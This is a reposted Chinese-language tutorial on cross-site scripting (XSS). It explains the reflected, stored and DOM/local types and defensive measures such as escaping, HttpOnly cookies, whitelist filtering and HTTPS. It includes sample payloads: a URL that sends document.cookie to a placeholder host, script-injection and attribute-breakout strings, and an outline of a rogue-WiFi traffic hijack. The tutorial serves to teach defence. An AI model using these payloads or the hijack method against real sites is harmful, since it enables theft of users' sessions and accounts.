前端安全 -- XSS攻擊


XSS漏洞是最廣泛、作用最關鍵的web安全漏洞之一。在絕大多數網絡攻擊中都是把XSS作為漏洞鏈中的第一環,通過XSS,黑客可以得到的最直接利益就是拿到用戶瀏覽器的cookie,從而變相盜取用戶的賬號密碼。

一些XSS的傳播性極強,由於web的特點是輕量級、靈活性高,每個用戶每天都可能訪問很多web站點,每個web站點每天都有成千上萬的來訪;另一方面,如果將XSS攻擊配合起一些系統內核級的漏洞,完全可能在幾個小時之內擊垮幾百萬台智能設備。所以,掌握XSS滲透測試及防御,是非常重要的。

關於XSS

         XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML或者JS代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。

如今的web前端開發者都應該清楚,在現代瀏覽器的同源策略保護下,瀏覽器的跨域行為受到了限制,並且從XSS漏洞攻擊原理上講,跨站這兩個字其實沒有什么必要。

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是“跨域”和“客戶端執行”。有人將XSS攻擊分為三種,分別是:

1. Reflected XSS(基於反射的XSS攻擊)

2. Stored XSS(基於存儲的XSS攻擊)

3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)

Reflected XSS

基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。

例子:

1. 做個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。

2. 在搜索框搜索內容,填入“<script>alert('handsome boy')</script>”, 點擊搜索。

3. 當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。

4. 進而可以構造獲取用戶cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點擊這個地址:

http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

PS:這個地址當然是沒效的,只是舉例子而已。

結論:

如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個像樣的XSS攻擊。

開發安全措施:

1. 前端在顯示服務端數據時候,不僅是標簽內容需要過濾、轉義,就連屬性值也都可能需要。

2. 后端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。

例如:

標簽:

<span><script>alert('handsome boy')</script></span>

轉義

<span>&lt;script&gt;alert(&#39;handsome boy&#39;)&lt;/script&gt</span>

屬性:

如果一個input的value屬性值是

琅琊榜" onclick=javascript:alert('handsome boy')

就可能出現

<input type="text" value="琅琊榜" onclick=javascript:alert('handsome boy')">

點擊input導致攻擊腳本被執行,解決方式可以對script或者雙引號進行過濾。

Stored XSS

基於存儲的XSS攻擊,是通過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每個訪問該帖子/文章的人就會觸發執行。

例子:

1. 發一篇文章,里面包含了惡意腳本

今天天氣不錯啊!<script>alert('handsome boy')</script>

2. 后端沒有對文章進行過濾,直接保存文章內容到數據庫。

3. 當其他看這篇文章的時候,包含的惡意腳本就會執行。

PS:因為大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。

結論:

后端盡可能對提交數據做過濾,在場景需求而不過濾的情況下,前端就需要做些處理了。

開發安全措施:

1. 首要是服務端要進行過濾,因為前端的校驗可以被繞過。

2. 當服務端不校驗時候,前端要以各種方式過濾里面可能的惡意腳本,例如script標簽,將特殊字符轉換成HTML編碼。

DOM-based or local XSS

基於DOM或本地的XSS攻擊。一般是提供一個免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須經過服務器返回就是基於本地的XSS攻擊。

例子1:

1. 提供一個免費的wifi。

1. 開啟一個特殊的DNS服務,將所有域名都解析到我們的電腦上,並把Wifi的DHCP-DNS設置為我們的電腦IP。

2. 之后連上wifi的用戶打開任何網站,請求都將被我們截取到。我們根據http頭中的host字段來轉發到真正服務器上。

3. 收到服務器返回的數據之后,我們就可以實現網頁腳本的注入,並返回給用戶。

4. 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。

PS:例子和圖片來自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html#!comments

這個其實就是wifi流量劫持,中間人可以看到用戶的每一個請求,可以在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,可以返回釣魚頁面。

例子2:

1. 還是提供一個免費wifi

2. 在我們電腦上進行抓包

3. 分析數據,可以獲取用戶的微信朋友圈、郵箱、社交網站帳號數據(HTTP)等。

結論:

這攻擊其實跟網站本身沒有什么關系,只是數據被中間人獲取了而已,而由於HTTP是明文傳輸的,所以是極可能被竊取的。

開發安全措施:

        使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的,HTTPS會在請求數據之前進行一次握手,使得客戶端與服務端都有一個私鑰,服務端用這個私鑰加密,客戶端用這個私鑰解密,這樣即使數據被人截取了,也是加密后的數據。

小結:

XSS攻擊的特點就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本(某篇文章說的)。

本地的XSS攻擊的示例2其實不算XSS攻擊,只是簡單流量劫持。前兩種XSS攻擊是我們開發時候要注意的,而流量劫持的則可以使用HTTPS提高安全性。

** XSS攻擊的解決辦法

XSS的攻擊五花八門,有沒有一招“獨孤九劍”能夠抗衡,畢竟那么多情況場景,開發人員無法一一照顧過來。下文中,把對應對方式做了總結,分為兩類:一是服務端可以干的事,二是客戶端可以干的事。

前提:

在說XSS解決方式時,有一個前提。就是同源策略——瀏覽器的同源策略(瀏覽器安全的基礎,即使是攻擊腳本也要遵守這法則),限制了來自不同源的“document”或腳本,對當前“document”讀取或設置某些屬性。除了DOM、Cookie、XMLHttpRequest會受到同源策略的限制外,瀏覽器加載的一些第三方插件也有各自的同源策略。不過script、img、iframe、link等標簽都可以跨域加載資源,而不受同源策略的限制。

服務端可以干的事

1. HttpOnly其實就是現在HTTP協議(HTTPS也是可以的)才能讀取cookies,JavaScript是讀取不到cookies的。支持瀏覽器是IE6+、Firefox2+、Google、Safari4+。JavaEE給Cookie添加HttpOnly的代碼:response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");PS:對於HTTPS,還是可以設置Secure字段,對Cookie進行安全加密。這是本質上不是預防XSS,而是在被攻破時候不允許JS讀取Cookie。

2.處理富文本有些數據因為使用場景問題,並不能直接在服務端進行轉義存儲。不過富文本數據語義是完整的HTML代碼,在輸出時也不會拼湊到某個標簽的屬性中,所以可以當特殊情況特殊處理。處理的過程是在服務端配置富文本標簽和屬性的白名單,不允許出現其他標簽或屬性(例如script、iframe、form等),即”XSS Filter“。然后在存儲之前進行過濾(過濾原理沒有去探明)。Java有個開源項目Anti-Samy是非常好的XSS Filter:Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);AntiSamy as = new AntiSamy();CleanResults cr = as.scan(dirtyInput, policy);MyUserDao.storeUserProfile(cr.getCleanHTML());PS:當然也可以在前端顯示前過濾,但是我覺得,讓前端人員少做東西好,並且服務端只需要轉一次。

客戶端可以干的事:

1. 輸入檢查輸入檢查的邏輯,必須放在服務器端代碼中實現(因為用JavaScript做輸入檢查,很容易被攻擊者繞過)。目前Web開發的普遍做法,是同時在客戶端JavaScript中和服務器代碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,可以阻擋大部分誤操作的正常用戶,從而節約服務資源。PS:簡單說,就是輸入檢查,服務端和客戶端都要做。另外攻擊者可能輸入XSS的地方,例如:頁面中所有的input框window.location(href、hash等)window.namedocument.referrerdocument.cookielocalstorageXMLHttpRequest返回的數據

2. 輸出檢查一般就是在變量輸出到HTML頁面時,使用編碼或轉義的方式來防御XSS攻擊。XSS的本質就是“HTML注入”,用戶的數據被當成了HTML代碼一部分來執行,從而混淆了原本的語義,產生了新的語義。觸發XSS的地方document.writexxx.innerHTML=xxx.outerHTML=innerHTML.replacedocument.attachEventwindow.attachEventdocument.location.replacedocument.location.assignPS:如果使用jquery,就是那些append、html、before、after等,其實就是拼接變量到HTML頁面時產生。大部分的MVC框架在模板(view層)會自動處理XSS問題,例如AngularJS。

用什么編碼轉義

主要有HTMLEncode和JavaScriptEncode這兩個,客戶端和服務端都能做。但是讓后端去做,我感覺是不大靠譜的,因為數據的使用場景可能有幾種,可以在標簽、屬性、或腳本里(甚至其他終端使用),單單以一種方式去encode是很極限的。

1.HTMLEncode,就是將字符轉換成HTMLEntities,一般會轉(&、<、>、"、'、/)這6個字符。

2.JavaScriptEncode,是使用”\“對特殊字符進行轉義。

哪些地方需要編轉義

1.在HTML標簽、屬性中輸出——用HTMLEncode

2.在script標簽中輸出——用JavaScriptEncode

3.在事件中輸出——用JavaScriptEncode<a href="#" onclick="funcA('$var')">test</a>

4.在CSS中輸出用類似JavaScriptEncode的方式。將除了字母、數字外的所有字符都編碼成十六進制形式”\uHH“。

5.在地址中輸出一般如果變量是整個URL,則先檢查變量是否以“http”開頭(不是則幫忙添加http),保證不會出現偽協議類的XSS攻擊。然后再對變量進行URLEncode。

PS:URLEncode會將字符轉換成”%HH“形式。

總結:

前端開發人員要注意在正確的地方使用正確的編碼方式,有時為了防御XSS,在一個地方我們需要聯合HTMLEncode、JavaScriptEncode進行編碼,甚至是疊加,並不是固定一種方式編碼(又是具體情況具體分析)。

一般存儲型XSS風險高於反射型XSS。反射型XSS一般要求攻擊者誘使用戶點擊一個包含XSS代碼的URL鏈接;而存儲型只需要用戶查看一個正常的URL鏈接,當用戶打開頁面時,XSS Payload就會被執行。這樣漏洞極其隱蔽,且埋伏在用戶的正常業務中,風險很高。

參考:http://sanwen.net/a/jiimdoo.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM